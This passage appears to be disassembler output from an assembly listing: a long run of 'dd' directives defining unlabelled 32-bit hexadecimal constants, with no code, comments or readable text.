		dd 87731832h, 1CAB45EDh, 0D270A47Eh, 4DB6729Eh,	0B0B659BFh
		dd 504B7A87h, 726BA503h, 0CF5639B5h, 23B6368h, 1BEE6B4Ch
		dd 6569A4DEh, 18DDB006h, 0C24F828Ah, 0CFB8449Ah, 0B9981D92h
		dd 27CB1BBAh, 0B948770h, 0CC784038h, 77D87B1Ch,	0A6B1A913h
		dd 363AA266h, 2A14EAE9h, 0E3D028DBh, 1F5B01h, 15CF2F99h
		dd 59752C4Dh, 3EAB909Fh, 0BABA4D00h, 689A68B6h,	371B5526h
		dd 139FE92Eh, 21BC60FCh, 0DC962459h, 0F50546F5h, 3DA82077h
		dd 0D0EDE4CFh, 51BF9074h
		dd 38BE902Eh, 4167DBD5h, 6992B278h, 0B9560581h,	0ED93844h
		dd 788ED9D3h, 2DAC2F9Fh, 91279A60h, 0BB73AE44h,	2C7EA47Ah
		dd 6423E457h, 3799D2D5h, 0FC9081D3h, 237AB7B2h,	9C072A7Ch
		dd 35780B26h, 38E1F13Dh, 2E35586Bh, 9300DBB3h, 29F78F28h
		dd 7E6DF5DDh, 996EF65Ah, 279320B1h, 66160478h, 0FDCC4D8Ch
		dd 580B1ADBh, 0A27258DAh, 0A222EB6h, 5E3D18FBh,	0DCBDEDB4h
		dd 0D727F2F6h, 0C9F542D0h, 5024E175h, 2E2F0C68h, 668D515h
		dd 7DFC8814h, 800434A2h, 0C1F70072h, 81576BBh, 23EE0637h
		dd 3D129DC4h, 7693075h,	17B31735h, 0F8DDE607h, 6924AFB8h
		dd 9A30CBE7h, 0D54E464Ah, 336D43B3h, 5C07106Ah,	0A69D68F5h
		dd 16DD0A4Dh, 0EFE9A8A4h, 858DDB9Ah, 0B48767D9h, 6DB25B89h
		dd 86996863h, 3D2319A6h, 345C03FAh, 623967BBh, 0A7E8AA99h
		dd 90B47350h, 0C3623A25h, 31A78896h, 3447A4D9h,	51C057FEh
		dd 994F3C4Ch, 0EE92F7FAh, 0C03B9A31h, 0B9D3E167h, 741C3F02h
		dd 0AF447D5Eh, 0CDBD9828h, 0E57E2313h, 6349F807h, 8DC27FB0h
		dd 0D935D3AEh, 90442B6h, 0F9DA7962h, 965F4610h,	46860144h
		dd 0F0AD8B7Ah, 0DE52A5C1h, 6CEE164Bh, 956BEFD5h, 0AC26C336h
		dd 7BF4F737h, 0A8E87E14h, 9E499076h, 0D0DC4557h, 69912B78h
		dd 0C3911711h, 84A67A8Dh, 0FDC04C28h, 0D5BD0EC2h, 65CFA73Bh
		dd 0C0129229h, 48016AE9h, 3E91409Ch, 90A74AD1h,	9FA2DCB4h
		dd 0F2E3D67h, 848AB3FCh, 0CB745EDBh, 0F92328DCh, 327E0C34h
		dd 0A5DB902Ch, 0D72FEDBDh, 0A639BC05h, 0DD92341h, 49BD3BBFh
		dd 6DA6606Dh, 0C1B77F6Bh, 0D930769Eh, 0A0DEFADFh, 2DF5783Fh
		dd 0A6C140DAh, 368F96C3h, 0B09DA342h, 0FF137E6Bh, 835EF153h
		dd 9A862500h, 2EEB6F66h, 3A5C5A7Bh, 6460C821h, 0B715D511h
		dd 315CF8D2h, 0A9E9AA12h, 0E8EA86DEh, 0C2D47A53h, 74E1569Dh
		dd 0E34B57D8h, 2798E37Ch, 0C490F84Fh, 0D4760B6Ah, 7AA8984h
		dd 0E0E35603h, 0D26702A2h, 77B43EAFh, 0CFB09346h, 0F580EB59h
		dd 0BC2135F5h, 0C46DF166h, 0DE3347EFh, 67B1CF5Fh, 0E5D74D9Eh
		dd 0E9D23E26h, 0A3832368h, 0C3A56BFAh, 7EBDFAC3h, 18D74494h
		dd 0A6EFBB67h, 0C2131E4Ch, 0C8379295h, 62B683h,	0DAEFA463h
		dd 148EEFC8h, 6EF1377Fh, 255EF3A3h, 33EE32B0h, 1ACAF9E4h
		dd 63D789ACh, 0CB72089Dh, 0EC427768h, 0B3118F26h, 0F0FC00F0h
		dd 2A183AF4h, 0C4B5D743h, 677D6F43h, 0E2577D58h, 12CA7B2Dh
		dd 2BAAF1F3h, 7CC1AE61h, 0DE9E8DD6h, 76182ABCh,	7DD73D87h
		dd 12C760EFh, 0A0295AD8h, 132E311Ch, 78C825FAh,	0F76A815Ah
		dd 0F24BF2A3h, 9B2A6E33h, 98D8540Fh, 1F337531h,	699B590Dh
		dd 0FC8DB481h, 0A1577C6Fh, 9E53F480h, 55BD0435h, 131735EBh
		dd 3C5E9E9Ch, 68CF4A2Bh, 6B05C810h, 0D17F1967h,	6F33DBCAh
		dd 0C29159B9h, 4F1EDCFCh, 629B8A90h, 140525A2h,	0F520ECFDh
		dd 38FBCFD4h, 1536706Dh, 0B206D85Eh, 827C5F9Bh,	60D83712h
		dd 0CF97830h, 0E1E11B37h, 3C7B1505h, 51EE06B6h,	0F8D0A5D4h
		dd 5D4E9E6h, 0F064AE9Ah, 3BA39F22h, 44F53DDEh, 0D45F3420h
		dd 4AE4BEA9h, 45791EDFh, 3DB0C62Ah, 0AC65EE54h,	0D3A3351Ch
		dd 0A3379BE7h, 73742C54h, 29B67D97h, 0BC42BA85h, 0EC1416FCh
		dd 16071124h, 6FD2E7FAh, 0FF4D025Fh, 79E7919Ah,	0FEE0F09Eh
		dd 0C2802D5Fh, 0F60217E1h, 21EEEDA5h, 0F7A31787h, 5837D825h
		dd 54D2D49Eh, 0D4B97F04h, 0D5063E0Eh, 10C80939h, 6E673A10h
		dd 9EAD1A4Ah, 0A68A5EF1h, 98E1478h, 0AE40DD4Ch,	2CB1F3DFh
		dd 0A8E4B6E7h, 68AA5934h, 0C8F943D5h, 5D24EC61h, 2A50A888h
		dd 0DEC1ECCAh, 0C58AEF3Fh, 0CB23FB64h, 7305C781h, 0C97577E3h
		dd 23B220E3h, 0FD12AEFCh, 3FFBD172h, 17BE7BBFh,	0B05D3B39h
		dd 2117C77Bh, 0C134A331h, 0A6840E95h, 33DC1FE7h, 0F4C07601h
		dd 0DE673224h, 1E65A560h, 48CC9B65h, 74258076h,	0BC3A956Dh
		dd 7743974Ch, 552EFC71h, 0CD4AF326h, 12D79FA2h,	0D12E7A3Bh
		dd 0E858064Eh, 0E4768F66h, 116D0DC7h, 0BA9837ADh, 91DC7169h
		dd 0D451DC6Eh, 6AC9332h, 8610B71Ch, 0A4DBF309h,	9B8B55FCh
		dd 0B8B7C6Dh, 0C0A5FD94h, 17622FCAh, 2E2CE91Eh,	7CEDC2CCh
		dd 7ECA68FCh, 80D5B697h, 94562E39h, 0B7187BCEh,	470B6316h
		dd 639948C9h, 0B5ADAF2h, 0E1F1512h, 227346A6h, 57301B1Dh
		dd 644EEFA4h, 1CE6D786h, 389215A2h, 0EED10464h,	0C164F5B9h
		dd 8035F734h, 7395EC02h, 96406F31h, 6CDB4C2Eh, 24B593DDh
		dd 0F0644AD1h, 2AB3A360h, 7EE142ACh, 4A6B1E5Ch,	46AB397Ah
		dd 44C9CF2Eh, 0A4174663h, 7B7DC22Fh, 1DBF797Dh,	0F56AAE20h
		dd 0B959A36Bh, 0A24E99F0h, 0FBA392B4h, 0ADC9898Bh, 0C12DFA5Bh
		dd 861CF046h, 0DC6C969Eh, 722F5F82h, 0C868638Bh, 2C0602DEh
		dd 29B340D6h, 22E0B927h, 0E9C605D9h, 0E3F1A141h, 13607601h
		dd 59FF3BE5h, 92BEDFAh,	1448B651h, 99E40073h, 28C9F29Dh
		dd 0A554649h, 3904E44Dh, 9492126Dh, 0B702F500h,	31BEE35Dh
		dd 2C963A0Ah, 318F7C92h, 4ECD1925h, 0A07E9C83h,	302CD328h
		dd 0D6BEE60Dh, 9CF979AFh, 0FF0C9C91h, 0E67E01E4h, 3936C915h
		dd 77A5571Bh, 58F1ADFh,	0E977E371h, 93AB400h, 0F5A32C97h
		dd 7575515Dh, 5374A0F3h, 59A6744Dh, 0B76F8BBh, 0F1C14FEh
		dd 94FACD8Eh, 0B1FC2DA6h, 0AB4E2876h, 0B5794CB4h, 8822D700h
		dd 783F1ACBh, 0EAF80375h, 5EEE5CB8h, 0CA7DF49Eh, 0FF94F0FCh
		dd 41C73EC6h, 0C848FDC5h, 9D4C7B47h, 52241293h,	85D050F1h
		dd 0FDB56EB4h, 0DE2983C1h, 0E077C775h, 7F5CB745h, 0F79CCCCCh
		dd 31287AB9h, 2BF8EEBFh, 4B3086E3h, 93A109A5h, 696F6094h
		dd 98A72FDAh, 19866AFBh, 61E6619Fh, 0D5A8FA10h,	4EC65DA3h
		dd 0EDB2D79Bh, 0F8982FB7h, 10C22593h, 31EC3D61h, 0BDAF0D42h
		dd 0AC432CE8h, 39B23F87h, 14398836h, 0C62C905Fh, 0EB7EA630h
		dd 1B2E247Eh, 5BD2C1DBh, 0A2254F44h, 0E1141949h, 97B5CC77h
		dd 66ABEB13h, 9DD88F9Ah, 77497EF8h, 8FADE34Fh, 0EA3361C1h
		dd 0D91AD05Eh, 2948F371h, 9A4662BFh, 6EABDBC3h,	8C99EDC8h
		dd 3F3D57F4h, 0B1C074A6h, 0A5C0B401h, 5E645155h, 9249306h
		dd 8F2583C3h, 92DDEB0Ch, 174FDE3Bh, 6F5AD64Ah, 6B18F63Ch
		dd 0A3EDD5B5h, 12D7C826h, 0F05689CCh, 5D1B7E59h, 9ECCBEF4h
		dd 0B74FEF4Bh, 324AB4D7h, 7244E986h, 0F22295A8h, 0D1F391F4h
		dd 73A7A7A4h, 8FE00644h, 0DEC4183Ch, 0DF2383E6h, 20D8B115h
		dd 77C4C57Eh, 395297DDh, 438F34h, 4FE2322Dh, 0A5479E63h
		dd 49D561B6h, 97E5F756h, 9273858h, 96CA412h, 2C8A070Dh
		dd 7DBAAD3Bh, 7CBDADBDh, 73352400h, 8D33A3A4h, 0C2F40494h
		dd 0C4EAFA32h, 0BCC560A9h, 6522B0C0h, 631AF408h, 6FC36777h
		dd 6B178FAh, 0E37B5529h, 193FAC8Bh, 5C05D8A9h, 0AC1B1F1Bh
		dd 4D26EDD0h, 0DDBDE1F2h, 4A7B2387h, 4553B85Eh,	50A8686Dh
		dd 8E0A22DBh, 5CC549C7h, 0B954070Bh, 0EFAE0A34h, 12AC3086h
		dd 9E86870Ch, 0FBF4E195h, 0C5DEFF5Ah, 28A1908Ch, 0DB12F9E0h
		dd 0CF9A072Fh, 2D20B6E2h, 8A55C3B3h, 569D5A32h,	54B2C651h
		dd 9BE72A84h, 0E90558A4h, 88692252h, 0B853102Ch, 0B63DD1F3h
		dd 0AD2CAAC5h, 50226E1Ch, 9F543B53h, 2929FA4Dh,	6CE0583Ch
		dd 0C2A925D5h, 93B479B1h, 91FD7E10h, 0E1D90F8Bh, 0AEC59DC1h
		dd 6D2ACB55h, 9E6AE446h, 524CF21Dh, 4FC9DE33h, 0DEB25CF4h
		dd 83F128D3h, 0C499A020h
		dd 0EFCF3A46h, 0E717A75Ch, 0D6FA803Ah, 7DE89E28h, 159DEDB1h
		dd 68BFEA5Bh, 619FEC17h, 0C5B8B558h, 0C5FFB45Dh, 784810Ch
		dd 2E667B89h, 0BE3C490Ah, 1D3B070h, 1FE63E34h, 6AA0E65Dh
		dd 9EA9B9EAh, 0B0884923h, 0F59D8329h, 4EE2BF32h, 8DEB1998h
		dd 52B56EFBh, 54B5FCCBh, 3AAEC54Bh, 0FAC24D41h,	2D370FF4h
		dd 5355105Ch, 7319A61Dh, 575BF4Fh, 14939DB6h, 4798A11Ch
		dd 26FE4806h, 42F35F2Bh, 0F419B054h, 1DABDC3Ch,	0DC20EB47h
		dd 137D63B0h, 0EF82D17Eh, 0C79B6359h, 37BD9A12h, 798C4A56h
		dd 17F463F9h, 4AA4DC27h, 0D4BAD657h, 81D65489h,	0FEACD297h
		dd 0DAFE8B8Ah, 0CC793629h, 0CE2A4EDEh, 0F241DD7h, 0ABE3442Fh
		dd 0D9E81ECAh, 7E3E69BFh, 0CD6EC566h, 73985E78h, 7051F7E7h
		dd 0D20981A8h, 0A1C532E1h, 41B237D6h, 987F1B13h, 0CFE5A266h
		dd 2F24EB01h, 0A950A416h, 2B94C5E6h, 0ABA4A43h,	6FFF776h
		dd 622C6769h, 559C3BAFh, 0C9996C56h, 641FFA9Dh,	0C8255F34h
		dd 7F673CABh, 2797153Dh, 167ADC1Bh, 46565725h, 7E43E759h
		dd 2F77D3E9h, 23841CB0h, 0DF652A2h, 4B435312h, 7CDE59C1h
		dd 0A02E36CDh, 3A25A35Fh, 1EEDBADFh, 0BB820948h, 0B5AE91D9h
		dd 0B955946Ah, 0B9C8396Fh, 9D2A00DAh, 9A5A576Dh, 0C8B083B7h
		dd 0B474C18Ch, 173229E8h, 0C525CFE0h, 4205E1A6h, 0E5001535h
		dd 0CEC74D2Eh, 714AA3EDh, 4748098Fh, 30480DBFh,	4FFFCF08h
		dd 9C5EC558h, 7D10FC2Dh, 0B6333213h, 8371675h, 0B1D2A045h
		dd 0F3CDD071h, 0D61A7E1Fh, 0FA147650h, 0D8CC7386h, 7F62867Fh
		dd 0F4D43A26h, 0D520F21Eh, 99DFC204h, 46C46A6Bh, 0E6A59E2Ah
		dd 2C031025h, 0B03E319Bh, 0AA1D71A7h, 7A46E2FBh, 1CB831C1h
		dd 11E5173Bh, 33FD87DEh, 0BB9EA145h, 8DDFE0E6h,	2C3FB01h
		dd 742CF080h, 1A65F3A0h, 542931F3h, 0A49326CCh,	0D0260B4h
		dd 0A6BE6F39h, 0D8449EAEh, 8DE039DCh, 56AE8193h, 83CC0EBEh
		dd 3AE69122h, 0CD15F928h, 835E3813h, 47949482h,	89B1B503h
		dd 0D7F6F725h, 1067A678h, 0F0786A6h, 78427409h,	12637413h
		dd 0CAF7228Ah, 0BADA4ED5h, 16A3069Ah, 53E20EF1h, 94025D62h
		dd 7ACA778Dh, 0EC567850h, 0D2B0FCEBh, 6C1B0F67h, 0C06EEB46h
		dd 723BDDDDh, 0AEF2DC13h, 974A5D95h, 5C2EE098h,	16396C31h
		dd 8AEF62Dh, 37754C8Fh,	1404D29h, 0F392D0CBh, 0ABBF00B5h
		dd 19F5F100h, 6D0DB821h, 0A0A49AA6h, 660EB5A7h,	0E4A6CC91h
		dd 688D2553h, 13CF811Ah, 0D6F504CAh, 3217F053h,	7FEDAA1h
		dd 0F3262002h, 48D0C33Eh, 0C7ECB1FEh, 86BF71DBh, 2786FA5h
		dd 1528FC2h, 0BC786AEDh, 0D9DEB8B1h, 0EE7BB84Ch, 0BBBEE794h
		dd 79BA2ED2h, 8CAE906Bh, 8728FF6Fh, 0FA04984h, 6126DDD3h
		dd 0B613E6F7h, 0F3011B68h, 12B87598h, 55228757h, 0A271F7DBh
		dd 16C02F00h, 70A59984h, 1C46CC92h, 35B64EB6h, 0EFD8FEB4h
		dd 9F07048Eh, 7AF2BC4Eh, 2FFA3B64h, 0D2AB966Ch,	254E64AFh
		dd 0DA360A21h, 0C839829Fh, 70FE3340h, 79EFFB81h, 0C4FBEEAh
		dd 612E05B2h, 0AC295E9h, 19ABFDD3h, 2EBA97B9h, 437B17Ah
		dd 84ED07D6h, 8106DFBBh, 4212B010h, 773A3313h, 0F780562Dh
		dd 0F22812AAh, 8D5FC53Ah, 3B121D11h, 8F0D29ABh,	4E4EF160h
		dd 5D46CACBh, 3AE6D4A4h, 588F1D38h, 2A0C2CF9h, 0A5903048h
		dd 504DFC32h, 0E4C2586Fh, 245D94C0h, 494168F1h,	0CDA2B9EFh
		dd 0DC25B549h, 0ADA415A4h, 7CB93E9Ch, 0AF23A619h, 0EBEF23D6h
		dd 0F7106581h, 8D6027FDh, 0B19EE907h, 0F61A7020h, 0C379333Ah
		dd 0B3684675h, 8AD41A4Bh, 0D01B8CC3h, 0E557099Ch, 5B571820h
		dd 3F2BFFC7h, 3534881Dh, 0E1003B74h, 0B4196A86h, 0F63EF71Fh
		dd 9C0E7665h, 6FA16430h, 802008C6h, 95FC7926h, 10439D31h
		dd 2615DEC6h, 0B8A1522Fh, 0A5AA91C1h, 39AC11FFh, 491D647Eh
		dd 238A910Ch, 3283EAA6h, 0EC645336h, 60662E5Ch,	0E1F8C965h
		dd 3F6CF308h, 0BCE0FDB6h, 0E762DB75h, 0F4F08E7Eh, 59017212h
		dd 78130622h, 6EAA0904h, 0F3ADE93Dh, 0C59B9BACh, 0C7A7C115h
		dd 1FEE94Ch, 0E111F0F7h, 72E85B4h, 6197B1BFh, 0FB885D88h
		dd 4FD9480h, 807ACE5h, 25A78CD5h, 0F8D84199h, 0D0B83D7Fh
		dd 0F2C98FE1h, 257AA6A4h, 413482E5h, 0C347DF6Dh, 70BD042Ch
		dd 0C96B06ECh, 0A3F31611h, 0DD296813h, 56AAE836h, 13DA31BEh
		dd 0CBACE632h, 0A49C8DCDh, 0DA07FF86h, 0E67C943Ah, 876EFD25h
		dd 0E25B1A46h, 364C6F6Eh, 0B7219640h, 695B96Ah,	0C220139Fh
		dd 1AC5CE7Ch, 6D35BC5Ch, 0ED5150E5h, 2FC6669Ch,	200BBDCCh
		dd 0B6EEECB7h, 9DBA4751h, 65C29A98h, 91E06398h,	34D4DFE8h
		dd 0E71D683Bh, 71ACDACBh, 0E60AEAA1h, 0F5A25321h, 32D30643h
		dd 9DA69981h, 0D08207C3h, 8EA54B3Ch, 0E1622D06h, 40CEDB71h
		dd 0FAD846B6h, 981206DBh, 0CB2DC36Dh, 0BA0B4FAFh, 8EBB1E89h
		dd 0A8694F78h, 2F2A47EBh, 0E07CBDCDh, 0CE55E6D3h, 0D50B788h
		dd 0F8BB2EFCh, 0DBE3F90Fh, 0CB5873E2h, 0EA34E572h, 53395103h
		dd 0C53AAF9Bh, 0A9C484BEh, 9E0FDE9Ch, 0F66812DCh, 5F76424Dh
		dd 0F34ED16h, 8A1F655Fh, 0B911C234h, 0FF9114E5h, 83423206h
		dd 0C167E3C5h, 574625D0h, 442C992Ah, 0C325FDFDh, 52214E0Eh
		dd 4F33C9B9h, 0BCA193C6h, 65EFA5C4h, 8B085DA0h,	0E9B9E4EEh
		dd 8BA8C30Ah, 0B1CEC2E7h, 0D256057Dh, 72C63108h, 7649453Bh
		dd 90372564h, 0EBB7E33Dh, 42EF7F30h, 35C76703h,	0BD475F24h
		dd 0DC5CD490h, 6B79150Eh, 0BCF24DF2h, 0C7068595h, 1D709F7Bh
		dd 0C588F913h, 3D181AC9h, 0A43D521Bh, 0FAFCAF4h, 908BA5CDh
		dd 0FC6E88FAh, 63622D4Ah, 7A7F1CE2h, 29700C56h,	5F0A1D5Dh
		dd 4E9C38A8h, 4D3787E4h, 0C6080D10h, 56A6D222h,	0BCC5F8F9h
		dd 391C1982h, 8CDFA3EEh, 7A58206Dh, 7EA5388Eh, 1746DED2h
		dd 8B7A0E5Fh, 0B727AC08h, 1A00C14Ch, 0C6DDFED7h, 0EFC46DF3h
		dd 34EEBE1Bh, 0A393F553h, 2E40CB6h, 0D62350ABh,	0BA31573Ah
		dd 9A2E4E31h, 278854D5h, 0A74D6B5Ch, 8240C5A4h,	50768E13h
		dd 6441DE14h, 0A727B843h, 73FF191Fh, 77441641h,	6F0F9593h
		dd 7DDE69A2h, 96644328h, 1AEA95BBh, 0A529F245h,	0B5F25B6Ah
		dd 0A8A35BBAh, 0F9137248h, 811AC7BAh, 84AAFC50h, 0D416FF35h
		dd 8C0643D6h, 4C002FA5h, 4C8B53F5h, 4863012Dh, 51F69D64h
		dd 0F4DA07D9h, 0A936E1C2h, 2D2A60D4h, 97CAECFEh, 0F294FB3Fh
		dd 7250C245h, 374E3CF8h, 7BB9B738h, 0EEBD9DC7h,	0D7E4A481h
		dd 57978FA4h, 0AAE68BF7h, 459EDAAh, 4BD0D342h, 0C0677B64h
		dd 9329B116h, 7529DCECh, 0FC6BD026h, 0E91471BFh, 0B027C1C8h
		dd 86EEFC1Ah, 0C635F2DDh, 390588E1h, 6AE376E3h,	4F73DE53h
		dd 8AB3B17h, 622C6DEEh,	8597AC00h, 6259ABF4h, 5ECDED3h
		dd 7C728E7h, 0DA7A3B85h, 6EA71CACh, 0E36044D2h,	7F76E282h
		dd 0CFC182BBh, 795DC2C1h, 0C71D0CCFh, 0FC7D7D4Eh, 0EB7E292Eh
		dd 0C0F33747h, 0A654E604h, 0DF76327h, 2D74A886h, 5652B3C3h
		dd 72A9DCC8h, 0C352C913h, 0DB770D92h, 0C4FAA91Ch, 11F88C2Ah
		dd 4B4D2306h, 0DFF8C8C0h, 6569B9B7h, 0DB76AF84h, 4F694915h
		dd 334B380Dh, 8FF6B578h, 0D15DE5D4h, 288B1486h,	47768E91h
		dd 3EB61469h, 0D2A8E31Eh, 2F0F1DD3h, 0F3E7A563h, 0C846B23Ah
		dd 0F1564DEBh, 0E0A56A8Ah, 8C4E87A4h, 20FAF487h, 880EDF3Bh
		dd 0A17CAD2Eh, 0F81DB00h, 0BFC290FBh, 33403C7Ah, 70E60118h
		dd 93E9AAEh, 1AC8D1CCh
		dd 5BD16AFCh, 7B496EADh, 652FED02h, 64E4CC16h, 7505F082h
		dd 0BBAD26Ch, 8ABB41ADh, 71EB0FBCh, 0D787F790h,	7E8EE3Bh
		dd 0A54499E5h, 0C56AC823h, 0EBADF9A8h, 0F05184AAh, 32184832h
		dd 7A1E7953h, 4D0631Bh,	75F66B44h, 31E988ADh, 42EAC83Eh
		dd 1B5FA373h, 4FCA1FD5h, 938CFAA7h, 0AD0DDF36h,	0E9FBD55Bh
		dd 7539E18Fh, 0D2EBFD2Dh, 4B156966h, 6195CB98h,	0F360FAEBh
		dd 61BF893Ch, 5819E8F8h, 57BD4C03h, 234EF0FAh, 915F6C5Ah
		dd 0BE54580Fh, 0A404F5F6h, 0CF04A62Bh, 0AC4FBD4Dh, 54629080h
		dd 0D15F997Eh, 621F188Fh, 142F2D12h, 0F28E90E5h, 9C05D604h
		dd 0C2C1783Bh, 9ACFA3DBh, 34AB7C74h, 0B5DB1F72h, 0FA88A0CAh
		dd 59EEFF64h, 9F4A5A44h, 3EA3A827h, 4D4BF0BAh, 0F041A2D7h
		dd 0E4C09205h, 0A3FBF3BEh, 72B3A802h, 622F4186h, 0BC17EC35h
		dd 0DF8E9B49h, 0B5C515BBh, 302E5D08h, 0F8B3F8h,	63B38C2h
		dd 0C5D34CBh, 3D967A6Fh, 135C1E00h, 7CE05E5Ah, 0E24E72C0h
		dd 743F6862h, 0E8F6ABB2h, 58227D70h, 0F413A27Dh, 63D3CE0Ah
		dd 6D6EB664h, 7D6A2E6Fh, 142EA610h, 0B490FC21h,	0DB1EB089h
		dd 0DD000552h, 0A9D4CDD6h, 0FE19AD83h, 15FFD557h, 90250C35h
		dd 8AB26E0Fh, 0C764BD3h, 1E1E3D5Ah, 0F7090999h,	0D497C376h
		dd 0EB841BDAh, 0C641EAEh, 0EDD8BE19h, 0C3B35733h, 7112A0C9h
		dd 0B2B53DABh, 0E57627F3h, 0F1BE341Ch, 6DA3DCF3h, 32323760h
		dd 0B29C6802h, 8F2A57E1h, 1B7AFC65h, 4354BE8Ah,	5C2787CAh
		dd 3891CE76h, 6B29DB99h, 877DCF28h, 0A6DFF51Ch,	0DB47B192h
		dd 0C5ACE01Ch, 0B106F2C7h, 844C1525h, 0B77CD9D6h, 0C600702Eh
		dd 5EB1D3B5h, 71541FCFh, 0BC094560h, 0BAB3787h,	6422C701h
		dd 54981DEBh, 764FC73h,	63E49B31h, 0E8C27935h, 0C9DF4415h
		dd 7DEDF61Ah, 9B4966E9h, 3DADA099h, 0E42E8F62h,	0BC4C6060h
		dd 9F72286Eh, 175F3D16h, 0AA4C6F97h, 9BCF30B3h,	76059B8Ch
		dd 6143EAB8h, 0D549DFB4h, 0ED80EA8h, 4AD56489h,	0DCBDC33Fh
		dd 43ADB0C9h, 157F94CAh, 0F1634E65h, 686C3BA4h,	6A67828Ch
		dd 0EFA9254h, 2F677372h, 6D625294h, 0D387B141h,	0DAF804D9h
		dd 7723A3B9h, 0E65F4E38h, 92CC1429h, 2C7FFA43h,	75409A92h
		dd 47507958h, 0BECCD8D5h, 0F1BF55FFh, 0FCA9A9AEh, 0D0BD6EF5h
		dd 0C90B416Ch, 0ACC9EE67h, 2E9B9A80h, 9B929204h, 16C16E7Bh
		dd 455BC0AFh, 138D1A9h,	9D3856F0h, 8A60456Bh, 76EEEB81h
		dd 13622BB4h, 0F037CE34h, 0EE011B2Dh, 8D154E55h, 2443D1B1h
		dd 0EE106FB6h, 0ACA5EAE0h, 0D309D0E0h, 3EF0589Ch, 6F139C78h
		dd 61D8E3FBh, 45D92AF2h, 46338719h, 261B0B8Fh, 92D8B3F5h
		dd 4A10D746h, 0C328A757h, 0A7516182h, 2C731730h, 0E2156DF4h
		dd 63A6001Ch, 0E5B7DADAh, 0B9393923h, 0CCA4610Bh, 0F22EFE6Bh
		dd 96B707ACh, 0BA95793Bh, 0D11B50E3h, 0A624E987h, 0F38D62B6h
		dd 0E00C7A0Bh, 958E303Ch, 87E1748Fh, 44612B0h, 2A4D44C7h
		dd 0D450A9AFh, 0A6BBBE6h, 630498DBh, 0D20B8A95h, 0FA644C5Fh
		dd 0CB43DF14h, 0B56810F1h, 3462FE98h, 4EFFC750h, 60B9D552h
		dd 0B430AE2Ah, 388E85Fh, 41E50484h, 0D4BC465Ch,	0FBEAD61Eh
		dd 0BF229F88h, 131D67CFh, 0EC4CB640h, 0C259F5B5h, 4384BA27h
		dd 0C3B8B799h, 356403D3h, 0FBEBB860h, 0B2C91A96h, 516AE1DEh
		dd 57B56861h, 0F85F2757h, 1B6B6EA9h, 702438B5h,	0D717392Fh
		dd 0CF09E3Ch, 0BCD2E6BBh, 1EEF92DEh, 9B1F3C4h, 77F87A4Ah
		dd 1C4A7CA5h, 5E840226h, 7DCBD8EDh, 410F4B2Ch, 4BF810A2h
		dd 20656E9Ah, 924B15E1h, 6EDA429Ch, 80D11C42h, 0F89358D2h
		dd 0AD500326h, 7BBC3668h, 0CB806479h, 911E085Fh, 0AA2C28C0h
		dd 4047EA95h, 0F5F08D4Eh, 0C9BCA63Ah, 0DB72147Ah, 904AD19Eh
		dd 536DFE61h, 3C7684EEh, 384AD98Ch, 5808EF9Eh, 0C62F7E60h
		dd 0BC9E0105h, 461AC176h, 0E29D5613h, 0C4752C9h, 5B4DE86Ch
		dd 0BD76586Ch, 2697FFC1h, 30B97105h, 750457CEh,	0AF8A1CFAh
		dd 66629ECDh, 8C5C23C8h, 25AF8D77h, 134C8118h, 165E8CC2h
		dd 0DF8C064Ah, 0E1FAEED8h, 0F68A5A08h, 0EF213450h, 0C2C8EC3Fh
		dd 0A3CAF2EFh, 46DB4C7Bh, 5748ECB1h, 29428AD7h,	0D0B4A9C2h
		dd 8AE98310h, 0F5897C6Bh, 5187C777h, 9C8EFA1Ch,	77ECA408h
		dd 6A63941Eh, 1610341Bh, 133098B7h, 69987C45h, 40230FE0h
		dd 0F45C4Eh, 29AC853Dh,	0A8272D90h, 27E042A2h, 0DC18A790h
		dd 38B6B7D0h, 0DF8A742Dh, 75654E5h, 8CD607E7h, 2BE71124h
		dd 1D47E8E3h, 0F5D2A072h, 0DC95B098h, 62FB5D8Dh, 32FDFBC1h
		dd 93615080h, 0A757ACD2h, 0B28760CBh, 2AF5A339h, 35F327B7h
		dd 6CC8F857h, 7D5BA3h, 36F7140Ah, 80209E29h, 6BC85D7Eh
		dd 82FE2965h, 0AB50794Bh, 781FC049h, 0BD04B8DAh, 0C91CC5Fh
		dd 97599718h, 0C46A171Ah, 4B13D74h, 80994A01h, 378828FFh
		dd 0E84C1D12h, 5195F68Ah, 0FD76E056h, 6108421Dh, 0AAF38DE4h
		dd 0EFFAF282h, 0C954B6D1h, 8F8B9C06h, 0BD150E7Bh, 1AD0D977h
		dd 0ADB594AFh, 0E0D04C1Ah, 0C93C0376h, 0B87B1477h, 0DF1A1A29h
		dd 71DDB984h, 997CB1CDh, 4ED5104h, 0CEAF7741h, 3CEAA5E4h
		dd 594742Bh, 0AF6A1060h, 787B2CF0h, 7F0175B5h, 786334CCh
		dd 3D5D3B0Eh, 6C01CBB4h, 0EFCE79F6h, 8CD46270h,	81246020h
		dd 0F217643Dh, 0FE001E83h, 0D0231A59h, 8BD4ABBAh, 7B7A7E47h
		dd 5F8083FEh, 0CEF0AC4Ch, 20623A0h, 0B129A807h,	41D06B61h
		dd 8E78A6CCh, 5941FF8Eh, 21F33755h, 0AAF61B29h,	9548F852h
		dd 6AF5F0BAh, 0E9A8DB22h, 5D689C52h, 0BA632809h, 0C2E574F5h
		dd 74F34591h, 594A5739h, 21187E01h, 0E3993920h,	0F95E48Dh
		dd 0BBAEAF89h, 69A60AC2h, 70AC98F9h, 8D9DE3D9h,	0F711AEFh
		dd 0DE750048h, 8FFB5B01h, 0BF737BE7h, 339E8369h, 1B2BD1DCh
		dd 192C29C8h, 0C5098249h, 0E552C4EFh, 7F4C134Dh, 42B561E6h
		dd 3B327A87h, 14AD81C8h, 588108B6h, 619EB08Ah, 5A6371ACh
		dd 0BB260A2Bh, 5D9CA0A2h, 71B4AF4Ah, 28454DAAh,	3B372D2h
		dd 9CEC47D7h, 0F9F13C5h, 99ADA346h, 4718A14Eh, 781267A6h
		dd 0EA38C242h, 395BD885h, 0DE223FBDh, 5A9C27F9h, 94075A41h
		dd 287DB44Eh, 1CA464CDh, 0ACE1CE0Ch, 0E44B8F9Dh, 9F4D6FC9h
		dd 0A1EBFA08h, 0BF5C6FEAh, 645BC2A3h, 3929A54Fh, 0A481C154h
		dd 2430BBC4h, 4120F988h, 0D2687E28h, 0FA355BBDh, 2DFBF861h
		dd 3F785E64h, 0DEAB78D8h, 5823D475h, 0BA8DE214h, 8053BFE4h
		dd 1B1BE262h, 0C337CE43h, 0CBEB0188h, 3B23DBC3h, 144AE3DAh
		dd 0C09474C9h, 0BB260814h, 1B29EADEh, 0E05AB6EBh, 0BA05B55Ah
